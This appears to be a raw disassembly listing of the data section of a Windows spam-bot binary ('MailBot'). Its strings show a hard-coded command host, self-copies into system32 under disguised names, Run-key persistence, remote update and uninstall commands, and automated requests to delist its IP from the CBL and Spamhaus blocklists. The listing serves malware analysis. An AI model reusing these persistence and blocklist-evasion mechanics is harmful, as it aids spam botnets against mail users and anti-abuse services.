		dd offset a__ptr64	; "__ptr64"
		dd offset a__restrict	; "__restrict"
		dd offset a__unaligned	; "__unaligned"
		dd offset dword_41E020
		dd offset aTypeDescriptor ; " Type Descriptor'"
		dd offset aBaseClassDescr ; " Base Class Descriptor at ("
		dd offset aBaseClassArray ; " Base Class Array'"
		dd offset aClassHierarchy ; " Class Hierarchy Descriptor'"
		dd offset aCompleteObject ; " Complete Object Locator'"
		dd offset aNew_0	; " new"
		dd offset aDelete_0	; " delete"
		dd offset dword_41C798+80h
		dd offset asc_41D360	; ">>"
		dd offset asc_41D35C	; "<<"
		dd offset asc_41D358	; "!"
		dd offset asc_41D354	; "=="
		dd offset asc_41D350	; "!="
		dd offset asc_41D34C	; "[]"
		dd offset aOperator	; "operator"
		dd offset asc_41D33C	; "->"
		dd offset asc_41D338	; "*"
		dd offset asc_41D334	; "++"
		dd offset asc_41D330	; "--"
		dd offset asc_41D32C	; "-"
		dd offset asc_41D328	; "+"
		dd offset asc_41D324	; "&"
		dd offset asc_41D320	; "->*"
		dd offset asc_41D31C	; "/"
		dd offset asc_41D318	; "%"
		dd offset asc_41D314	; "<"
		dd offset asc_41D310	; "<="
		dd offset asc_41D30C	; ">"
		dd offset asc_41D308	; ">="
		dd offset asc_41D304	; ","
		dd offset asc_41D300	; "()"
		dd offset asc_41D2FC	; "~"
		dd offset asc_41D2F8	; "^"
		dd offset asc_41D2F4	; "|"
		dd offset asc_41D2F0	; "&&"
		dd offset asc_41D2EC	; "||"
		dd offset asc_41D2E8	; "*="
		dd offset asc_41D2E4	; "+="
		dd offset asc_41D2E0	; "-="
		dd offset asc_41D2DC	; "/="
		dd offset asc_41D2D8	; "%="
		dd offset asc_41D2D4	; ">>="
		dd offset asc_41D2D0	; "<<="
		dd offset asc_41D2CC	; "&="
		dd offset asc_41D2C8	; "|="
		dd offset asc_41D2C4	; "^="
		dd offset aVftable	; "`vftable'"
		dd offset aVbtable	; "`vbtable'"
		dd offset aVcall	; "`vcall'"
		dd offset aTypeof	; "`typeof'"
		dd offset aLocalStaticGua ; "`local static guard'"
		dd offset aString	; "`string'"
		dd offset aVbaseDestructo ; "`vbase destructor'"
		dd offset aVectorDeleting ; "`vector deleting destructor'"
		dd offset aDefaultConstru ; "`default constructor closure'"
		dd offset aScalarDeleting ; "`scalar deleting destructor'"
		dd offset aVectorConstruc ; "`vector constructor iterator'"
		dd offset aVectorDestruct ; "`vector destructor	iterator'"
		dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'"
		dd offset aVirtualDisplac ; "`virtual displacement map'"
		dd offset aEhVectorConstr ; "`eh vector	constructor iterator'"
		dd offset aEhVectorDestru ; "`eh vector	destructor iterator'"
		dd offset aEhVectorVbas_0 ; "`eh vector	vbase constructor iterator'"
		dd offset aCopyConstructo ; "`copy constructor closure'"
		dd offset aUdtReturning	; "`udt	returning'"
		dd offset aEh		; "`EH"
		dd offset aRtti		; "`RTTI"
		dd offset aLocalVftable	; "`local vftable'"
		dd offset aLocalVftableCo ; "`local vftable constructor	closure'"
		dd offset aNew		; " new[]"
		dd offset aDelete	; " delete[]"
		dd offset aOmniCallsig	; "`omni callsig'"
		dd offset aPlacementDel_0 ; "`placement	delete closure'"
		dd offset aPlacementDelet ; "`placement	delete[] closure'"
		dd offset aManagedVecto_0 ; "`managed vector constructor iterator'"
		dd offset aManagedVectorD ; "`managed vector destructor	iterator'"
		dd offset aEhVectorCopyCo ; "`eh vector	copy constructor iterator'"
		dd offset aEhVectorVbaseC ; "`eh vector	vbase copy constructor itera"...
		dd offset aDynamicInitial ; "`dynamic initializer for '"
		dd offset aDynamicAtexitD ; "`dynamic atexit destructor	for '"
		dd offset aVectorCopyCons ; "`vector copy constructor iterator'"
		dd offset aVectorVbaseCop ; "`vector vbase copy	constructor iterator"...
		dd offset aManagedVectorC ; "`managed vector copy constructor iterat"...
		dd offset aLocalStaticThr ; "`local static thread guard'"
		dd offset dword_41E020
		dd 40h dup(0)
asc_41D668:				; DATA XREF: .vty:off_423880o
					; .vty:00423E10o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
dword_41D868	dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
					; DATA XREF: .vty:00423E14o
					; .vty:004237A8o
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
		dd 0
dword_41DA70	dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
		dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h,	0A7A6A5A4h
		dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
		dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
		dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
		dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
		dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h
		dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch
		dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h
		dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h
		dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h
		dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h
		dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h
		dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h,	8F8E8D8Ch
		dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h
		dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h
		dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h
		dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h
		dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h
		dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch
		dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h
		dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h
		dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h
		dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch
		dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
		dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h,	0A7A6A5A4h
		dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
		dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
		dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
		dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
		dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .vty:00423EBCo
aMmDdYy		db 'MM/dd/yy',0         ; DATA XREF: .vty:00423EB8o
		align 4
aPm		db 'PM',0               ; DATA XREF: .vty:00423EB4o
		align 10h
aAm		db 'AM',0               ; DATA XREF: .vty:00423EB0o
		align 4
aDecember	db 'December',0         ; DATA XREF: .vty:00423EACo
		align 10h
aNovember	db 'November',0         ; DATA XREF: .vty:00423EA8o
		align 4
aOctober	db 'October',0          ; DATA XREF: .vty:00423EA4o
aSeptember	db 'September',0        ; DATA XREF: .vty:00423EA0o
		align 10h
aAugust		db 'August',0           ; DATA XREF: .vty:00423E9Co
		align 4
aJuly		db 'July',0             ; DATA XREF: .vty:00423E98o
		align 10h
aJune		db 'June',0             ; DATA XREF: .vty:00423E94o
		align 4
aApril		db 'April',0            ; DATA XREF: .vty:00423E8Co
		align 10h
aMarch		db 'March',0            ; DATA XREF: .vty:00423E88o
		align 4
aFebruary	db 'February',0         ; DATA XREF: .vty:00423E84o
		align 4
aJanuary	db 'January',0          ; DATA XREF: .vty:00423E80o
aDec		db 'Dec',0              ; DATA XREF: .vty:00423E7Co
aNov		db 'Nov',0              ; DATA XREF: .vty:00423E78o
aOct		db 'Oct',0              ; DATA XREF: .vty:00423E74o
aSep		db 'Sep',0              ; DATA XREF: .vty:00423E70o
aAug		db 'Aug',0              ; DATA XREF: .vty:00423E6Co
aJul		db 'Jul',0              ; DATA XREF: .vty:00423E68o
aJun		db 'Jun',0              ; DATA XREF: .vty:00423E64o
aMay		db 'May',0              ; DATA XREF: .vty:00423E60o
					; .vty:00423E90o
aApr		db 'Apr',0              ; DATA XREF: .vty:00423E5Co
aMar		db 'Mar',0              ; DATA XREF: .vty:00423E58o
aFeb		db 'Feb',0              ; DATA XREF: .vty:00423E54o
aJan		db 'Jan',0              ; DATA XREF: .vty:00423E50o
aSaturday	db 'Saturday',0         ; DATA XREF: .vty:00423E4Co
		align 4
aFriday		db 'Friday',0           ; DATA XREF: .vty:00423E48o
		align 10h
aThursday	db 'Thursday',0         ; DATA XREF: .vty:00423E44o
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: .vty:00423E40o
		align 4
aTuesday	db 'Tuesday',0          ; DATA XREF: .vty:00423E3Co
aMonday		db 'Monday',0           ; DATA XREF: .vty:00423E38o
		align 4
aSunday		db 'Sunday',0           ; DATA XREF: .vty:00423E34o
		align 10h
aSat		db 'Sat',0              ; DATA XREF: .vty:00423E30o
aFri		db 'Fri',0              ; DATA XREF: .vty:00423E2Co
aThu		db 'Thu',0              ; DATA XREF: .vty:00423E28o
aWed		db 'Wed',0              ; DATA XREF: .vty:00423E24o
aTue		db 'Tue',0              ; DATA XREF: .vty:00423E20o
aMon		db 'Mon',0              ; DATA XREF: .vty:00423E1Co
aSun		db 'Sun',0              ; DATA XREF: .vty:off_423E18o
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_419937+C1o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_419937+A9o
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_419937+6Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_419937+58o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_419937+46o
aUser32_dll	db 'USER32.DLL',0       ; DATA XREF: sub_419937+28o
		align 4
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aConout		db 'CONOUT$',0          ; DATA XREF: sub_41ACB3+Eo
		align 8
		dd 86808006h, 808180h, 86031000h, 80828680h, 45050514h
		dd 85854545h, 585h, 50803030h, 8008880h, 38272800h, 805750h
		dd 30370007h, 88505030h, 20000000h, 80888028h, 80h
aHHhhXppwpp	db '`h`hhh',8,8,7,'xppwpp',8,8,0
		dw 800h
		dd 7000800h, 8
dword_41DFB4	dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh					; .vty:00423004o ...
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate',0
					; DATA XREF: sub_401065+11o
					; sub_4010E1+19o
aAltclientid	db 'AltClientId',0      ; DATA XREF: sub_401065+36o
					; sub_4010E1+51o
aC		db 'C:\',0              ; DATA XREF: sub_401156+B5o
a02x		db '%02x',0             ; DATA XREF: sub_401156+160o
		align 4
		dd offset dword_41F340
off_41E018	dd offset sub_40CBAC	; DATA XREF: sub_401156+5Fo
		dd offset sub_40CBE4
dword_41E020	dd 0							; sub_401A4D+BDo ...
dword_41E024	dd 2425h	dword_41E028	dd 203A2121h, 0	dword_41E030	dd 203A4545h, 0	dword_41E038	dd 203A5757h, 0	dword_41E040	dd 203A4949h, 0	dword_41E048	dd 203A4244h, 0	aListTTooLong	db 'list<T> too long',0 ; DATA XREF: sub_401F07+29o
					; sub_405EBC+1Co
		align 4
aAbcdefghijklmn	db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_403C76+21o
					; sub_403C76+8Br ...
		align 10h
aCa		db 'ca',0               ; DATA XREF: .vty:0042432Co
		align 4
aPl		db 'pl',0               ; DATA XREF: .vty:00424328o
		align 4
aEdu		db 'edu',0              ; DATA XREF: .vty:00424324o
aOrg		db 'org',0              ; DATA XREF: .vty:00424320o
aInfo		db 'info',0             ; DATA XREF: .vty:0042431Co
		align 4
aBiz		db 'biz',0              ; DATA XREF: .vty:00424318o
aNet		db 'net',0              ; DATA XREF: .vty:00424314o
aCom		db 'com',0              ; DATA XREF: .vty:off_424310o
aMailbotGetmess	db 'MailBot::getMessage: no templates or no from domain',0Ah,0
					; DATA XREF: sub_402979+F6o
		align 4
aSuccS@S	db 'succ: %s@%s',0Ah,0  ; DATA XREF: sub_402BCF+34o
		align 4
aUnlkS@SConnect	db 'unlk: %s@%s (connection error)',0Ah,0 ; DATA XREF: sub_402BCF+77o
aFailS@SMatched	db 'fail: %s@%s matched string ',27h,'%s',27h,0Ah,0
					; DATA XREF: sub_402BCF+1D4o
		align 10h
aUnlkS@SS	db 'unlk: %s@%s (%s)',0Ah,0 ; DATA XREF: sub_402BCF+21Ao
		align 4
aD_D_D_D_inAddr	db '%d.%d.%d.%d.in-addr.arpa',0 ; DATA XREF: sub_402F64+5Bo
		align 10h
aServerVersionD	db 'Server version %d.%d.%d, my ip %s (%s)',0Ah,0
					; DATA XREF: sub_402F64+19Eo
aPong		db 'PONG',0Ah,0         ; DATA XREF: sub_40313Bo
		align 10h
aEmails		db 'EMAILS',0Ah,0       ; DATA XREF: sub_403151+21o
aMailbotOnemail	db 'MailBot::onEmails: got empty bucket',0Ah,0 ; DATA XREF: sub_403151+41o
		align 10h
aConfig		db 'CONFIG',0Ah,0       ; DATA XREF: sub_4033DA+23o
aUninstall	db 'UNINSTALL',0        ; DATA XREF: sub_40376E+Do
		align 4
aUninstalling	db 'Uninstalling',0Ah,0 ; DATA XREF: sub_40376E+20o
		align 4
aUpdatingFromS	db 'Updating from %s',0Ah,0 ; DATA XREF: sub_40376E+3Fo
		align 4
aMailbotOnupdat	db 'MailBot::onUpdate: trying to return?!',0
					; DATA XREF: sub_40376E:loc_4037EAo
		align 10h
aIdleD		db 'IDLE: %d',0Ah,0     ; DATA XREF: sub_40376E+B6o
		align 4
aGotSomeEmailsT	db 'Got some emails to return, not waiting',0Ah,0
					; DATA XREF: sub_40376E+125o
aQuitD		db 'QUIT: %d',0Ah,0     ; DATA XREF: .vty:004038FFo
		align 10h
aPutfdomainsD	db 'PUTFDOMAINS %d',0Ah,0 ; DATA XREF: .vty:00403960o
aGmail_com	db 'gmail.com',0        ; DATA XREF: sub_40399B+1Eo
					; sub_403C76+105o
		align 4
aD_D_D_D_sblXbl	db '%d.%d.%d.%d.sbl-xbl.spamhaus.org',0 ; DATA XREF: sub_403A28+3Eo
		align 10h
aSblListed_	db 'SBL listed.',0Ah,0  ; DATA XREF: sub_403A28+DDo
		align 10h
aXblListed_	db 'XBL listed.',0Ah,0  ; DATA XREF: sub_403A28+D3o
		align 10h
aStrangeRblReco	db 'Strange RBL record %s',0Ah,0 ; DATA XREF: sub_403A28+B8o
		align 4
aNotOnRbl_LetSR	db 'Not on RBL. Let',27h,'s rock!',0Ah,0 ; DATA XREF: sub_403A28:loc_403B2Co
		align 4
aProxyLockFound	db 'Proxy lock found: %s',0Ah,0 ; DATA XREF: sub_403B47+8Eo
		align 4
aSmtp_		db 'smtp.',0            ; DATA XREF: sub_403B47:loc_403C02o
		align 4
aMail_		db 'mail.',0            ; DATA XREF: sub_403B47:loc_403C34o
		align 4
aNoProxyLockFou	db 'No proxy lock found',0Ah,0 ; DATA XREF: sub_403B47+115o
		align 4
asc_41E334	db '*/*',0              ; DATA XREF: sub_403E41+65o
aImageGif	db 'image/gif',0        ; DATA XREF: sub_403E41+76o
		align 4
aImageXBitmap	db 'image/x-bitmap',0   ; DATA XREF: sub_403E41+80o
		align 4
aImageJpeg	db 'image/jpeg',0       ; DATA XREF: sub_403E41+8Ao
		align 10h
aImagePjpeg	db 'image/pjpeg',0      ; DATA XREF: sub_403E41+94o
aCbl_abuseat_or	db 'cbl.abuseat.org',0  ; DATA XREF: sub_403E41+5Ao
aInternetconnec	db 'InternetConnect: %$',0Ah,0 ; DATA XREF: sub_403E41+C0o
		align 4
aLookup_cgi	db 'lookup.cgi',0       ; DATA XREF: sub_403E41+E9o
		align 10h
aGet		db 'GET',0              ; DATA XREF: sub_403E41+EEo
					; sub_403E41+274o ...
aHttpopenreques	db 'HttpOpenRequest: %$',0Ah,0 ; DATA XREF: sub_403E41+107o
					; sub_403E41+292o ...
		align 4
aAcceptLanguage	db 'Accept-Language: en',0Dh,0Ah,0 ; DATA XREF: sub_403E41:loc_403F69o
					; sub_403E41:loc_4040EDo ...
		align 4
aAcceptEncoding	db 'Accept-Encoding: gzip, deflate',0Dh,0Ah,0 ; DATA XREF: sub_403E41+135o
					; sub_403E41+2B9o ...
		align 4
aHttpsendreques	db 'HttpSendRequest: %$',0Ah,0 ; DATA XREF: sub_403E41+166o
					; sub_403E41+2EAo ...
		align 10h
aRblServerRespo	db 'RBL server response code: %d',0Ah,0 ; DATA XREF: sub_403E41+1FFo
					; sub_403E41+378o ...
		align 10h
aLookup_cgi?ip	db 'lookup.cgi?ip=',0   ; DATA XREF: sub_403E41+226o
		align 10h
aSubmitLookup	db '&submit=Lookup',0   ; DATA XREF: sub_403E41+247o
		align 10h
aHttpCbl_abusea	db 'http://cbl.abuseat.org/lookup.cgi',0 ; DATA XREF: sub_403E41+26Do
		align 4
aWasNotFound	db 'was not found',0    ; DATA XREF: sub_403E41+393o
		align 4
aNotListed_	db 'Not listed.',0Ah,0  ; DATA XREF: sub_403E41+3B1o
		align 4
aRemove_cgi?ip	db 'remove.cgi?ip=',0   ; DATA XREF: sub_403E41+3E5o
		align 4
aNameConfirmVal	db 'name="confirm" value="',0 ; DATA XREF: sub_403E41+512o
		align 4
aCannotFindConf	db 'Cannot find confirmation code to remove ip from RBL',0Ah,0
					; DATA XREF: sub_403E41+530o
					; sub_403E41+56Bo
		align 4
aRemove_cgi	db 'remove.cgi',0       ; DATA XREF: sub_403E41+5C5o
		align 10h
aPost		db 'POST',0             ; DATA XREF: sub_403E41+5CAo
		align 4
aContentTypeApp	db 'Content-Type: application/x-www-form-urlencoded',0Dh,0Ah,0
					; DATA XREF: sub_403E41+60Ao
		align 4
aIp		db 'ip=',0              ; DATA XREF: sub_403E41+626o
aConfirm	db '&confirm=',0        ; DATA XREF: sub_403E41+641o
		align 10h
aOwnerYesVirusP	db '&owner=yes&virus=&proxy=&comments=&canread=yes&.submit=.Remove+',0
					; DATA XREF: sub_403E41+691o
aRespawningAsS_	db 'Respawning as %s ...',0Ah,0 ; DATA XREF: sub_40460B+1Ao
		align 4
aSystem32Helper	db '\system32\helpermnew1winc4.exe',0 ; DATA XREF: sub_40460B+48o
		align 4
aRt_helper	db 'RT_HELPER',0        ; DATA XREF: sub_40460B+55o
		align 4
aFindresource	db 'FindResource: %$',0Ah,0 ; DATA XREF: sub_40460B+73o
		align 4
aWb		db 'wb',0               ; DATA XREF: sub_40460B+A6o
					; sub_40499E+65o
		align 4
aFopenDS	db 'fopen: (%d) %s',0Ah,0 ; DATA XREF: sub_40460B+D3o
					; sub_40499E+95o
aCreateprocess	db 'CreateProcess: %$',0Ah,0 ; DATA XREF: sub_40460B+17Eo
		align 10h
aSystem32Mnew1w	db '\system32\mnew1winc4.exe',0 ; DATA XREF: sub_4047AC+2Co
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_4047AC+61o
					; sub_4048E7+2Ao
		align 4
aMlrnew1c4	db 'mlrnew1c4',0        ; DATA XREF: sub_4047AC+8Bo
					; sub_4047AC+D8o ...
		align 4
asc_41E668	db '-X',0               ; DATA XREF: sub_4048E7:loc_40496Bo
		align 4
aPerformingUpda	db 'Performing update from URL: %s',0Ah,0 ; DATA XREF: sub_40499E+25o
aSystem32Update	db '\system32\updatemnew1winc4.exe',0 ; DATA XREF: sub_40499E+54o
		align 4
aInternetopenur	db 'InternetOpenUrl: %$',0Ah,0 ; DATA XREF: sub_40499E+DBo
		align 4
aBlah		db 'BLAH',0             ; DATA XREF: sub_405089+25o
		align 4
aUnknown	db 'UNKNOWN',0          ; DATA XREF: sub_404B2B+89o
					; sub_404B2B+304o
aGetnativesyste	db 'GetNativeSystemInfo',0 ; DATA XREF: sub_404B2B:loc_404BC3o
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_404B2B+9Do
					; sub_4182CC+44o
		align 4
aWindowsVista	db 'Windows Vista ',0   ; DATA XREF: sub_404B2B+105o
		align 4
aWindowsServerL	db 'Windows Server "Longhorn" ',0 ; DATA XREF: sub_404B2B:loc_404C37o
		align 4
aMicrosoftWindo	db 'Microsoft Windows Server 2003 "R2" ',0 ; DATA XREF: sub_404B2B+131o
aMicrosoftWin_0	db 'Microsoft Windows XP Professional x64 Edition ',0
					; DATA XREF: sub_404B2B+148o
		align 4
aMicrosoftWin_1	db 'Microsoft Windows Server 2003, ',0 ; DATA XREF: sub_404B2B:loc_404C7Ao
aMicrosoftWin_2	db 'Microsoft Windows XP ',0 ; DATA XREF: sub_404B2B+15Fo
		align 10h
aMicrosoftWin_3	db 'Microsoft Windows 2000 ',0 ; DATA XREF: sub_404B2B+16Eo
aMicrosoftWin_4	db 'Microsoft Windows NT ',0 ; DATA XREF: sub_404B2B+17Eo
		align 10h
aWorkstation4_0	db 'Workstation 4.0 ',0 ; DATA XREF: sub_404B2B+1BFo
		align 4
aHomeEdition	db 'Home Edition ',0    ; DATA XREF: sub_404B2B+1CFo
		align 4
aProfessional	db 'Professional ',0    ; DATA XREF: sub_404B2B:loc_404D04o
		align 4
aDatacenterEdit	db 'Datacenter Edition for Itanium-based Systems',0
					; DATA XREF: sub_404B2B+21Do
		align 4
aEnterpriseEdit	db 'Enterprise Edition for Itanium-based Systems',0
					; DATA XREF: sub_404B2B+22Eo
		align 4
aDatacenterX64E	db 'Datacenter x64 Edition ',0 ; DATA XREF: sub_404B2B+248o
aEnterpriseX64E	db 'Enterprise x64 Edition ',0 ; DATA XREF: sub_404B2B+258o
aStandardX64Edi	db 'Standard x64 Edition ',0 ; DATA XREF: sub_404B2B:loc_404D8Ao
		align 4
aDatacenterEd_0	db 'Datacenter Edition ',0 ; DATA XREF: sub_404B2B+26Co
aEnterpriseEd_0	db 'Enterprise Edition ',0 ; DATA XREF: sub_404B2B+27Fo
aWebEdition	db 'Web Edition ',0     ; DATA XREF: sub_404B2B+28Eo
		align 4
aStandardEditio	db 'Standard Edition ',0 ; DATA XREF: sub_404B2B:loc_404DC0o
		align 4
aDatacenterServ	db 'Datacenter Server ',0 ; DATA XREF: sub_404B2B+2AEo
		align 4
aAdvancedServer	db 'Advanced Server ',0 ; DATA XREF: sub_404B2B+2BBo
					; sub_404B2B+396o
		align 10h
aServer		db 'Server ',0          ; DATA XREF: sub_404B2B:loc_404DEDo
					; sub_404B2B+37Do
aServer4_0Enter	db 'Server 4.0, Enterprise Edition ',0 ; DATA XREF: sub_404B2B+2D2o
aServer4_0	db 'Server 4.0 ',0      ; DATA XREF: sub_404B2B:loc_404E04o
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\ProductOptions',0
					; DATA XREF: sub_404B2B+2F1o
aProducttype	db 'ProductType',0      ; DATA XREF: sub_404B2B+327o
aWinnt		db 'WINNT',0            ; DATA XREF: sub_404B2B+359o
		align 4
aWorkstation	db 'Workstation ',0     ; DATA XREF: sub_404B2B+364o
		align 4
aLanmannt	db 'LANMANNT',0         ; DATA XREF: sub_404B2B+372o
		align 4
aServernt	db 'SERVERNT',0         ; DATA XREF: sub_404B2B+38Bo
		align 10h
aD_D		db '%d.%d ',0           ; DATA XREF: sub_404B2B+3B6o
		align 4
aServicePack6	db 'Service Pack 6',0   ; DATA XREF: sub_404B2B+3EBo
		align 4
aSoftwareMicr_1	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009',0
					; DATA XREF: sub_404B2B+409o
aServicePack6aB	db 'Service Pack 6a (Build %d)',0 ; DATA XREF: sub_404B2B+421o
		align 10h
aSBuildD	db '%s (Build %d)',0    ; DATA XREF: sub_404B2B+43Fo
					; sub_404B2B+47Eo
		align 10h
aMicrosoftWin_5	db 'Microsoft Windows 95 ',0 ; DATA XREF: sub_404B2B+4BBo
		align 4
aOsr2		db 'OSR2 ',0            ; DATA XREF: sub_404B2B:loc_405006o
		align 10h
aMicrosoftWin_6	db 'Microsoft Windows 98 ',0 ; DATA XREF: sub_404B2B+4EBo
		align 4
aSe		db 'SE ',0              ; DATA XREF: sub_404B2B:loc_405036o
aMicrosoftWin_7	db 'Microsoft Windows Millennium Edition',0 ; DATA XREF: sub_404B2B+51Bo
		align 4
aMicrosoftWin32	db 'Microsoft Win32s',0 ; DATA XREF: sub_404B2B:loc_40504Do
		align 4
aG6_jeiahsdod_n	db 'g6.jeiahsdod.net',0 ; DATA XREF: sub_40B642+69o
		align 4
aRunningOnS	db 'Running on %s',0Ah,0 ; DATA XREF: sub_405089+FAo
		align 4
aCommErrorS	db 'Comm error: %s',0Ah,0 ; DATA XREF: .vty:004052E9o
aVectorTTooLong	db 'vector<T> too long',0 ; DATA XREF: sub_40684D+Do
		align 10h
aDequeTTooLong	db 'deque<T> too long',0 ; DATA XREF: sub_405C5B+774o
		align 4
		dd offset dword_41F628
off_41EB28	dd offset loc_40248A	; DATA XREF: .vty:loc_40244Bo
					; sub_402452+6o ...
		dd offset sub_40FB38
		dd offset dword_41F5C0
off_41EB34	dd offset sub_402F64	; DATA XREF: sub_402509+14o
					; sub_40260A+Eo
		dd offset sub_40313B
		dd offset sub_403151
		dd offset sub_4033DA
		dd offset sub_40376E
		db 19h,	38h, 40h
; ---------------------------------------------------------------------------


loc_41EB4B:				; CODE XREF: .vty:0041EB54j
		add	ah, dh
		cmp	[eax+0], al
		dec	edi
		cmp	[eax+0], eax
		jz	short loc_41EB4B
		inc	ecx
; ---------------------------------------------------------------------------
		db 0
off_41EB58	dd offset loc_40248A	; DATA XREF: sub_403151+1EFo
		dd offset sub_40B49B
		dd offset dword_41F528
off_41EB64	dd offset loc_40246E	; DATA XREF: sub_402AA0+B7o
		dd offset sub_407784
		dd offset dword_41F4DC
off_41EB70	dd offset loc_40248A	; DATA XREF: sub_403151+1DDo
		dd offset sub_407C9A
aNoRecipientsAc	db 'No recipients accepted',0Ah,0 ; DATA XREF: sub_407949+18Fo
					; sub_407E77+1AEo
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',0
					; DATA XREF: sub_4080EE+24o
aInternetopenD	db 'InternetOpen: (%d) %$',0Ah,0 ; DATA XREF: sub_4080EE+3Fo
		align 10h
a0_0_0_0	db '0.0.0.0',0          ; DATA XREF: sub_40583B+37o
asc_41EBE8	db 0Dh,0Ah,0		; DATA XREF: sub_4089E6+20Ao
					; sub_4093C0+10o ...
		align 4
a_:					; DATA XREF: sub_4081BF:loc_408216o
					; sub_4081BF:loc_4084E4o
		unicode	0, <.>,0
a__0		db 0Dh,0Ah		; DATA XREF: sub_4081BF+215o
					; sub_40D0B0+9Ao
		db '.',0Dh,0Ah,0
		align 4
